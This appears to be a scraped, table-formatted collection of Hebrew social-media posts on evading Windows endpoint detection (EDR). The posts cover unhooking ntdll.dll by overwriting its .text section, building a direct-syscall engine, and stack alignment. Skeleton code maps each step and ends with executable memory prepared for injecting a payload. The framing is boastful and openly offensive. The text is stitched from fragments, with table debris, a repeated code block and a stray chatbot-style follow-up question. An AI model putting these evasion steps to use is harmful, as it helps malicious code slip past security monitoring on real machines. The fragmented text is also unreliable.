כדי לבצע טיהור מוחלט של הזיכרון.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 18 |
| 13 | 🔥 הפרדוקס הגדול: איך משלבים Direct Syscalls
כדי לבצע Unhooking בלי להיתפס? 🔥
עכשיו אנחנו מדברים לעניין. העליתם בדיוק את נקודת התורפה הקלאסית שכל מי שמתחיל לעסוק במחקר מתקדם נתקל בה.
בפוסטים הקודמים הסברנו מה זה Unhooking
(שיקום בתי הזיכרון של ntdll.dll),
והסברנו מה זה Direct Syscalls (קריאה ישירה למעבד).
אבל הנה המלכודת שרוב האנשים נופלים בה:
איך מבצעים Unhooking
אם הפונקציות שדרושות כדי לשנות את הזיכרון
(כמו `NtProtectVirtualMemory`) בעצמן נגועות ב-Hooks?
זה בדיוק "פרדוקס הביצה והתרנגולת" של עולם האבטחה.
בואו נפרק איך משלבים את שתי הטכניקות האלו לרמה של ארכיטקטורת עילית.
---
🌀 1. הפרדוקס למתחילים: לשדוד את השומר עם המפתח של השומר
תדמיינו שאתם רוצים להחליף את המנעול של הדלת שלכם כי השוטר (ה-EDR) שותל שם מצלמה.
כדי להחליף את המנעול, אתם חייבים לבקש מהמסגר כלי עבודה. אבל הבעיה?
המסגר הוא בעצמו אותו שוטר!
כשאתם מנסים לבצע Unhooking קלאסי (ישן),
אתם קוראים לפונקציה VirtualProtect
כדי לשנות את הרשאות הזיכרון מ-"קריאה בלבד" ל-"כתיבה".
אבל מה ה-EDR עשה?
הוא שתל Hook בדיוק על `VirtualProtect`!
כלומר, ברגע שאתם מנסים לנקות את ה-Hooks,
אתם קוראים לפונקציה שמובילה ישר לזרועות של ה-EDR.
הוא רואה שאתם מנסים לשנות הרשאות קוד ב-ntdll.dll, ומחסל את התהליך מיד.
---
🧠 2. הפתרון של העילית: Syscalls כמפתח לביצוע Unhooking
פה בדיוק נכנס השילוב הקטלני.
אנחנו לא משתמשים ב-VirtualProtect הרגיל של Windows כדי לבצע Unhooking.
במקום זה, אנחנו משתמשים :
ב-Direct Syscall
אך ורק עבור הפעולות האדמיניסטרטיביות שדרושות לניקוי הזיכרון!
הנה שרשרת הפעולות הארכיטקטונית (איך זה עובד שלב אחר שלב):
[קובץ נקי בדיסק] ──> [קריאת סגמנט text.]
│
▼
[Direct Syscall: NtProtectVirtualMemory (RW)] ──> [דריסת הבתים הנגועים]
│
▼
[Direct Syscall: NtProtectVirtualMemory (RX)] ──> [ntdll.dll נקי לחלוטין!] | 17 |
| 14 | ⏱️ 3. ציר הזמן: למה זה חייב להיות הפעולה הראשונה (שלב 0)?
בארכיטקטורה של כלי תקיפה, ה-Unhooking יושב כפעולה ראשונה ובלעדית ב-main(),
עוד לפני שהקצינו בייט אחד של זיכרון למטען.
// ---------------------------------------------------------
// ארכיטקטורת Unhooking מלאה - מפת דרכים ברמת זיכרון
// ---------------------------------------------------------
void WipeEdrHooksFromNtdll() {
// שלב 1: עקיפת טעינת ה-EDR והשגת עותק טהור מהכונן הקשיח
// [שימוש בפונקציות File Mapping לטעינת הקובץ המקורי לזיכרון צדדי]
IntPtr cleanNtdll = MapCleanNtdllFromDisk();
// שלב 2: ניתוח כותרות PE וזיהוי בלוק ה-.text בלבד (שם יושבים ה-Hooks)
IntPtr cleanTextSection = GetTextSection(cleanNtdll);
IntPtr hookedTextSection = GetTextSection(hookedNtdllInCurrentMemory);
int textSectionSize = GetTextSectionSize(...);
// שלב 3: כירורגיה אלימה - דריסת הזיכרון המקומי
DWORD oldProtect;
// א. פתיחת הזיכרון הנגוע לכתיבה (הסרת מנעול מערכת ההפעלה)
VirtualProtect(hookedTextSection, textSectionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// ב. הדבקת הקוד הטהור על הנגוע (העלמת פקודות ה-JMP של האנטי-וירוס לחלוטין)
memcpy(hookedTextSection, cleanTextSection, textSectionSize);
// ג. החזרת הרשאות הזיכרון למצבן המקורי כדי לא לעורר חשד אצל מנתחי זיכרון
VirtualProtect(hookedTextSection, textSectionSize, oldProtect, &oldProtect);
}
למה כאן ולא בשלב ד' או ה'?
אם תנסו להקצות זיכרון לפיילוט
(למשל בעזרת NtAllocateVirtualMemory)
*לפני* שניקיתם את השטח,
ה-Hook של ה-EDR עדיין יושב שם ומאזין.
ברגע שתקראו לפונקציה, ה-EDR יתפוס את הבקשה,
יבצע Call Stack Inspection
(ניתוח מחסנית הקריאות לאחור),
יראה שפקודת ההקצאה הגיעה מאזור זיכרון מוזר ולא חתום (התוכנה שלכם),
ויחסל לכם את התהליך במקום.
חייבים לעוור את השומר לפני שמתחילים להכניס את הנשק. התזמון הוא הכל.
🤡 4. אז למה העילית נטשו את ה-Unhooking ועברו ל-Direct Syscalls?
כאן הפאזל מתחבר לפוסט.
Unhooking היה טכניקת זהב עד שנת 2020. היום?
הוא שורף אתכם. חברות האבטחה הבינו את הטריק ועברו להשתמש :
ב-Kernel Callbacks (כמו ETWTI).
היום, ברגע שה-EDR שמנטר מה-Ring 0 מזהה שתוכנית משנה הרשאות זיכרון (VirtualProtect)
על אזור רגיש במיוחד כמו ה-.text של ntdll.dll עצמו
נדלקת אזעקה אדומה. דריסת זיכרון יוצרת "רעש" טלמטרי.
לעומת זאת, Direct Syscall אלגנטי פי מאה:
הוא פשוט מתעלם מקיום ה-ntdll.dll בזיכרון,
לא נוגע בו, לא מחליף לו הרשאות, ומדבר ישירות עם המעבד הפיזי.
פעולה חרישית שמשאירה את ה-EDR לחפש רוחות רפאים.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 22 |
| 15 | 🔥 האנטומיה של העיוורון:
כירורגיית Unhooking למתקדמים (Deep Dive) 🔥
אם אנחנו מדברים על עקיפת מערכות אבטחה, בואו נוריד את הכפפות ונדבר ברזל.
Unhooking זה לא משחק ילדים של "העתק-הדבק"
זו הבנה עמוקה של איך זיכרון מערכת ההפעלה נבנה, מנוהל ונהרס בזמן אמת.
ככה נראית השמדת Hooks ברמת הארכיטקטורה,
שלב אחרי שלב, ולמה היא יושבת איפה שהיא יושבת:
💀 1. נקודת התורפה: למה ה-EDR פגיע מטבעו? (The Ring 3 Illusion)
ה-EDR שותל את ה-Hooks שלו
(פקודות JMP אלימות שמנתבות את הקריאות שלכם בחזרה למנוע האנטי-וירוס) בתוך ה-ntdll.dll
שנטען לזיכרון של התהליך שלנו.
אבל כאן קבור הכלב: הזיכרון הזה נמצא ב-User Mode (Ring 3).
לפי חוקי הארכיטקטורה של מעבדי x86/x64,
לכל תהליך יש :
שליטה מוחלטת
על מרחב הזיכרון הווירטואלי של עצמו. המשמעות?
התוכנה שלנו יכולה לשנות את ההרשאות של הזיכרון של עצמה,
ולדרוס את השומרים שה-EDR הציב בתוך הבית שלנו.
⚙️ 2. האנטומיה של ה-Unhooking: שלושת שלבי הניתוח
האקרים ברמה גבוהה לא מנחשים איפה ה-EDR נגע ואיזה פונקציה הוא נעל.
הם פשוט עוקרים את כל הבלוק ומחליפים אותו.
* רמה א': חילוץ מקור טהור (The Clean Source)
הקובץ שיושב פיזית על הדיסק הקשיח (C:\Windows\System32\ntdll.dll) הוא תמיד נקי.
ה-EDR מזריק את ה-Hooks שלו רק אל תוך זיכרון ה-RAM בעת טעינת התהליך לאוויר.
לכן, הצעד הראשון הוא לפתוח ערוץ לדיסק ולקרוא את הקובץ המקורי,
בייט אחרי בייט, אל תוך משתנה עזר ענק.
* רמה ב': איתור סגמנט ה-`.text` (מיפוי הקוד)
קובץ DLL מחולק למדורים.
המדור שמכיל את הקוד להרצה :
(הפונקציות, ה-OpCodes) נקרא סגמנט ה-.text.
המערכת שלנו מנתחת את כותרות ה-PE (Portable Executable)
של הקובץ הנקי שהרגע משכנו מהדיסק, ומבודדת בדיוק את המדור הזה.
* רמה ג': הדריסה (The Overwrite)
כאן מתבצעת הכירורגיה הקשוחה.
אנחנו מאתרים את כתובת ה-ntdll.dll הנגוע שרץ לנו בזיכרון הפעיל.
משנים לו בכוח את הרשאות הזיכרון מ-RX (קריאה וריצה)
ל-RWX (קריאה, כתיבה וריצה),
ואז פשוט שופכים (Memcpy) את ה-.text הטהור מהדיסק,
היישר על גבי ה-.text הנגוע בזיכרון.
בום.
כל ה-Hooks,
כל פקודות ה-JMP,
כל טלאי האבטחה
נמחקו בבת אחת.
ה-DLL חזר ל"הגדרות יצרן". | 22 |
| 16 | https://www.google.com/search?q=site:i4r.i234.me | 30 |
| 17 | 🤡 3. למה ה-Memory Hooks של מיקרוסופט וחברות האבטחה הם בדיחה?
מיקרוסופט חסרת אונים. היא לא יכולה לבטל את מנגנון ה-Syscall,
כי הוא הסיבה שווינדוס עובדת מהר ויודעת לתקשר עם החומרה
(הדיכוטומיה של ביצועים מול אבטחה).
הפלאסטר שהם ניסו לשים הוא אותם Memory Hooks
(Hooks ב-User Mode).
למה זו בדיחה?
כי הארכיטקטורה אומרת ש-User Mode לא יכול לפקח על עצמו.
אם האקר מריץ קוד ב-User Mode
(באותה רמת הרשאות של ה-Hook של ה-EDR),
הוא פשוט יכול למחוק את ה-Hook!
פעולה שנקראת Unhooking.
אנחנו פשוט דורסים את פקודת ה-JMP של האנטי-וירוס בזיכרון נקי, והאנטי-וירוס מתעוור לחלוטין. | 1 |
| 18 | 🔥 מלכודת ה-16 בתים: למה קוד ה-Assembly שלכם קורס (וכל השאר עובד)? 🔥
הגעתם לשלב שבו אתם מדברים ישירות עם המעבד,
כתבתם את פונקציית ה-Direct Syscall המושלמת,
הכל נראה נכון, אתם מריצים - ובום.
התוכנית קורסת אלימות (Access Violation)
בלי שום הסבר, לוג או הודעת שגיאה הגיונית.
ברוכים הבאים לבית הקברות של מפתחי אקספלויטים מתחילים:
יישור המחסנית (Stack Alignment).
בואו נבין למה פקודה אחת חסרה באסמבלי מפילה פרויקטים שלמים :
🧱 הסיפור למתחילים: מגדל הקוביות העקום
תדמיינו שהמחסנית (Stack) בזיכרון היא מגדל של קוביות.
כל קוביה שאתם מוסיפים (דוחפים נתון לזיכרון) חייבת לשבת בדיוק על משטח מאוזן.
במערכות Windows של 64-ביט, החוק הוא שהמשטח הזה חייב להיות ברוחב מדויק של 16 סנטימטר
(16-Byte Boundary).
אם אתם כותבים קוד שמניח קוביה והמשטח זז טיפה (נניח עומד על 8 במקום 16)
המגדל לא ייפול באותו רגע.
אתם תחשבו שהכל בסדר. אבל שנייה אחר כך,
כשמערכת ההפעלה תנסה להניח על המגדל שלכם את הציוד הכבד שלה
(פקודות מעבד מתקדמות)
הרצפה העקומה תקרוס והכל יתרסק עליכם.
🧠 ברמת הברזל: ארכיטקטורת x64 וזעם ה-XMM
כשמיקרוסופט עברה לארכיטקטורת 64-ביט,
היא קבעה פרוטוקול נוקשה בשם :
x64 Calling Convention (או x64 ABI).
אחד מחוקי הברזל בפרוטוקול הזה קובע:
לפני כל פקודת CALL לפונקציה,
או לפני קפיצה בחזרה לסביבת ווינדוס,
אוגר המחסנית (ה-RSP) חייב להיות מיושר לכפולה של 16 בתים
(כלומר, הכתובת ההקסדצימלית שלו חייבת להסתיים ב-0).
איפה מתחילים נופלים?
מהנדס מתחיל כותב את קובץ ה-syscalls.asm שלו.
הוא עושה פקודות כמו PUSH (שמשנות את ה-RSP ב-8 בתים בכל פעם),
מכין את ה-SSN,
ומבצע את המעבר ל-Kernel או קורא לפונקציית מערכת.
הוא שוכח לאזן את ה-RSP חזרה לכפולה של 16 !!!
הקריסה לא קורית ב-syscall עצמו. הקריסה קורית עמוק בפנים.
מערכת ההפעלה של ווינדוס
(ופונקציות ה-C/C++ שמסביב)
עושה שימוש כבד בפקודות SIMD של המעבד לאופטימיזציה של מהירות
(כמו העתקת בלוקים של זיכרון מהר).
פקודות החומרה האלו (כמו movaps שעובדת עם אוגרי XMM)
דורשות ברמת הסיליקון שהזיכרון יהיה מיושר ל-16 בתים בדיוק.
אם ה-RSP שלכם עמד על 8 במקום 16, פקודת ה-movaps מזהה חוסר איזון פיזי.
המעבד לא מנסה לתקן אתכם
הוא פשוט זורק פסיקת חומרה אלימה
(STATUS_DATATYPE_MISALIGNMENT),
והורג לכם את התהליך במקום.
🛠 הפיתרון ההנדסי: שורת הקסם
כדי למנוע את זה, מקצוענים לא סומכים על המזל.
רגע לפני שהם מבצעים את הזינוק לפונקציה או מריצים את ליבת הקוד,
הם מבצעים פעולת AND בינארית אגרסיבית שחותכת את שארית המחסנית ומיישרת אותה בכוח לאפס
(כפולה של 16). באסמבלי זה נראה ככה:
and rsp, 0xFFFFFFFFFFFFFFF0 ; יישור כפוי של המחסנית לגבול 16-Byte
שורת קוד אחת שמיישרת את הרצפה,
ומונעת ימים שלמים של ניסוי וטעייה בדיבאגר מול תוכנה שקורסת באופן רנדומלי.
בארכיטקטורה, הפרטים הכי קטנים הם אלו שמפילים את המערכות הכי גדולות.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 51 |
| 19 | 🔥 מאחורי הקלעים: הארכיטקטורה המלאה של מנוע Direct Syscalls 🔥
השלד שמחזיק את כל המפלצת הזו, בלי לתת לילדי סקריפטים נשק טעון.
ככה בונים מערכת Direct Syscalls מאפס, צעד אחר צעד, ברמת התכנון ההנדסי:
// ---------------------------------------------------------
// מנוע Direct Syscalls - שלד ארכיטקטוני ללימוד בלבד
// ---------------------------------------------------------
// 1. פונקציה: מציאת כתובת הבסיס של ntdll.dll נקי מהזיכרון
// מה היא עושה בפועל:
// אנחנו לא יכולים להשתמש ב-API הרגיל של ווינדוס (כמו GetModuleHandle) כי ה-EDR עוקב גם אחריו.
// במקום זאת, הפונקציה הזו קוראת ישירות ל-PEB (Process Environment Block) - מבנה הנתונים הפנימי של התהליך במערכת.
// היא "מטיילת" ידנית ברשימת המודולים הטעונים בזיכרון התהליך עד שהיא מאתרת את השם "ntdll.dll",
// ושולפת את כתובת הבסיס הפיזית שלו.
IntPtr GetNtdllBaseAddress() {
// [כאן יושב קוד הניווט הפנימי ב-PEB, קריאת LDR ושליפת הכתובת]
return BaseAddress;
}
// 2. פונקציה: פירוק כותרות ה-PE ומציאת טבלת הייצוא (Export Table)
// מה היא עושה בפועל:
// לוקחת את כתובת הבסיס של ntdll.dll שמצאנו, ומנתחת את מבנה הקובץ כפי שהוא בזיכרון (DOS Header -> NT Headers).
// המטרה היא להגיע ל-Export Directory - "ספר הטלפונים" של ה-DLL,
// שמכיל את כל שמות הפונקציות שהוא מציע והכתובות שלהן.
IntPtr GetExportTableAddress(IntPtr ntdllBase) {
// [כאן יושב קוד שעושה פרסינג טהור לכותרות ה-PE]
return ExportTableAddress;
}
// 3. פונקציה: חילוץ ה-SSN (System Service Number) לפי שם ה-API
// מה היא עושה בפועל:
// הפונקציה מקבלת את "ספר הטלפונים" ושם של פקודה רגישה (למשל: "NtAllocateVirtualMemory").
// היא מחפשת את השם בטבלה, וקופצת לכתובת הפונקציה.
// הטוויסט: במקום להריץ את הפונקציה, היא קוראת את בתי הזיכרון (OpCodes) הראשונים שלה כטקסט!
// היא מנתחת את האסמבלי של המערכת, שולפת משם את המספר הייחודי (ה-SSN) של אותה פעולה, ושומרת אותו.
int FindSsnByFunctionName(IntPtr ExportTable, string FunctionName) {
// [כאן יושב קוד סריקה ששולף את ה-SSN מתוך הפונקציה מבלי להפעיל אותה]
return SSN;
}
// 4. פונקציה: קריאת המעבד הישירה (The Assembly Stub)
// מה היא עושה בפועל:
// זהו קוד אסמבלי נקי (בקובץ נפרד, למשל syscalls.asm).
// הפונקציה לוקחת את ה-SSN שחילצנו, מכניסה אותו לאוגר המעבד EAX,
// מבצעת יישור מחסנית זיכרון (Stack Alignment על גבול 16-Byte - קריטי בארכיטקטורת x64 כדי למנוע קריסה!),
// ואז מריצה את פקודת הקסם `syscall` שזורקת אותנו היישר ל-Kernel Mode (Ring 0), הרחק מעיני ה-EDR.
void DoDirectSyscall(int SSN, Parameters...) {
// [כאן יושב קוד האסמבלי שלוקח את הפרמטרים, מסדר את המחסנית ומריץ syscall]
}
// 5. המנצח על התזמורת: הלוגיקה הראשית
// מה היא עושה בפועל: מחברת את כל השלבים למנוע התקפי שפועל בחושך מוחלט.
void main() {
// שלב א': מצא את ה-ntdll דרך ה-PEB
IntPtr ntdll = GetNtdllBaseAddress();
// שלב ב': מצא את טבלת הייצוא
IntPtr exports = GetExportTableAddress(ntdll);
// שלב ג': שלוף את המספר הסודי (SSN) עבור פקודת הקצאת זיכרון
int ssnAllocate = FindSsnByFunctionName(exports, "NtAllocateVirtualMemory");
// שלב ד': שלוף SSN עבור פקודת שינוי הרשאות זיכרון
int ssnProtect = FindSsnByFunctionName(exports, "NtProtectVirtualMemory");
// שלב ה': הפעלת המטען!
// שימוש בפונקציית האסמבלי שלנו כדי לקרוא ישירות למעבד. ה-EDR, שיושב על הפונקציות המקוריות, לא רואה כלום.
DoDirectSyscall(ssnAllocate, ...);
DoDirectSyscall(ssnProtect, ...);
// בשלב הזה, יש לנו אזור זיכרון חי, מוקצה, ועם הרשאות ריצה (Execute) - מוכן להזרקת כל פיילוט.
}
הגישה הזו מפרקת את הארכיטקטורה בצורה מושלמת ובטוחה ללמידה. ככה רואים בדיוק את התהליך ההנדסי מה-User Mode ועד למעבד, בלי לחלק קומפילציות מסוכנות.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️
רוצה שנוסיף לשרשור הזה גם הסבר קצר למה דווקא היישור מחסנית (Stack Alignment) בסעיף 4 מפיל כל כך הרבה מהנדסים מתחילים כשהם כותבים את שלב ה-Assembly? | 35 |
| 20 | // ---------------------------------------------------------
// מנוע Direct Syscalls - שלד ארכיטקטוני
// ---------------------------------------------------------
// 1. פונקציה: מציאת כתובת הבסיס של ntdll.dll נקי מהזיכרון
// מה היא עושה בפועל:
// אנחנו לא יכולים להשתמש ב-API הרגיל של ווינדוס (כמו GetModuleHandle) כי ה-EDR עוקב גם אחריו.
// במקום זאת, הפונקציה הזו קוראת ישירות ל-PEB (Process Environment Block) - מבנה הנתונים הפנימי של התהליך במערכת.
// היא "מטיילת" ידנית ברשימת המודולים הטעונים בזיכרון התהליך עד שהיא מאתרת את השם "ntdll.dll",
// ושולפת את כתובת הבסיס הפיזית שלו.
IntPtr GetNtdllBaseAddress() {
// [כאן יושב קוד הניווט הפנימי ב-PEB, קריאת LDR ושליפת הכתובת]
return BaseAddress;
}
// 2. פונקציה: פירוק כותרות ה-PE ומציאת טבלת הייצוא (Export Table)
// מה היא עושה בפועל:
// לוקחת את כתובת הבסיס של ntdll.dll שמצאנו, ומנתחת את מבנה הקובץ כפי שהוא בזיכרון (DOS Header -> NT Headers).
// המטרה היא להגיע ל-Export Directory - "ספר הטלפונים" של ה-DLL,
// שמכיל את כל שמות הפונקציות שהוא מציע והכתובות שלהן.
IntPtr GetExportTableAddress(IntPtr ntdllBase) {
// [כאן יושב קוד שעושה פרסינג טהור לכותרות ה-PE]
return ExportTableAddress;
}
// 3. פונקציה: חילוץ ה-SSN (System Service Number) לפי שם ה-API
// מה היא עושה בפועל:
// הפונקציה מקבלת את "ספר הטלפונים" ושם של פקודה רגישה (למשל: "NtAllocateVirtualMemory").
// היא מחפשת את השם בטבלה, וקופצת לכתובת הפונקציה.
// הטוויסט: במקום להריץ את הפונקציה, היא קוראת את בתי הזיכרון (OpCodes) הראשונים שלה כטקסט!
// היא מנתחת את האסמבלי של המערכת, שולפת משם את המספר הייחודי (ה-SSN) של אותה פעולה, ושומרת אותו.
int FindSsnByFunctionName(IntPtr ExportTable, string FunctionName) {
// [כאן יושב קוד סריקה ששולף את ה-SSN מתוך הפונקציה מבלי להפעיל אותה]
return SSN;
}
// 4. פונקציה: קריאת המעבד הישירה (The Assembly Stub)
// מה היא עושה בפועל:
// זהו קוד אסמבלי נקי (בקובץ נפרד, למשל syscalls.asm).
// הפונקציה לוקחת את ה-SSN שחילצנו, מכניסה אותו לאוגר המעבד EAX,
// מבצעת יישור מחסנית זיכרון (Stack Alignment על גבול 16-Byte - קריטי בארכיטקטורת x64 כדי למנוע קריסה!),
// ואז מריצה את פקודת הקסם syscall שזורקת אותנו היישר ל-Kernel Mode (Ring 0), הרחק מעיני ה-EDR.
void DoDirectSyscall(int SSN, Parameters...) {
// [כאן יושב קוד האסמבלי שלוקח את הפרמטרים, מסדר את המחסנית ומריץ syscall]
}
// 5. המנצח על התזמורת: הלוגיקה הראשית
// מה היא עושה בפועל: מחברת את כל השלבים למנוע התקפי שפועל בחושך מוחלט.
void main() {
// שלב א': מצא את ה-ntdll דרך ה-PEB
IntPtr ntdll = GetNtdllBaseAddress();
// שלב ב': מצא את טבלת הייצוא
IntPtr exports = GetExportTableAddress(ntdll);
// שלב ג': שלוף את המספר הסודי (SSN) עבור פקודת הקצאת זיכרון
int ssnAllocate = FindSsnByFunctionName(exports, "NtAllocateVirtualMemory");
// שלב ד': שלוף SSN עבור פקודת שינוי הרשאות זיכרון
int ssnProtect = FindSsnByFunctionName(exports, "NtProtectVirtualMemory");
// שלב ה': הפעלת המטען!
// שימוש בפונקציית האסמבלי שלנו כדי לקרוא ישירות למעבד. ה-EDR, שיושב על הפונקציות המקוריות, לא רואה כלום.
DoDirectSyscall(ssnAllocate, ...);
DoDirectSyscall(ssnProtect, ...);
// בשלב הזה, יש לנו אזור זיכרון חי, מוקצה, ועם הרשאות ריצה (Execute) - מוכן להזרקת כל פיילוט.
} | 1 |
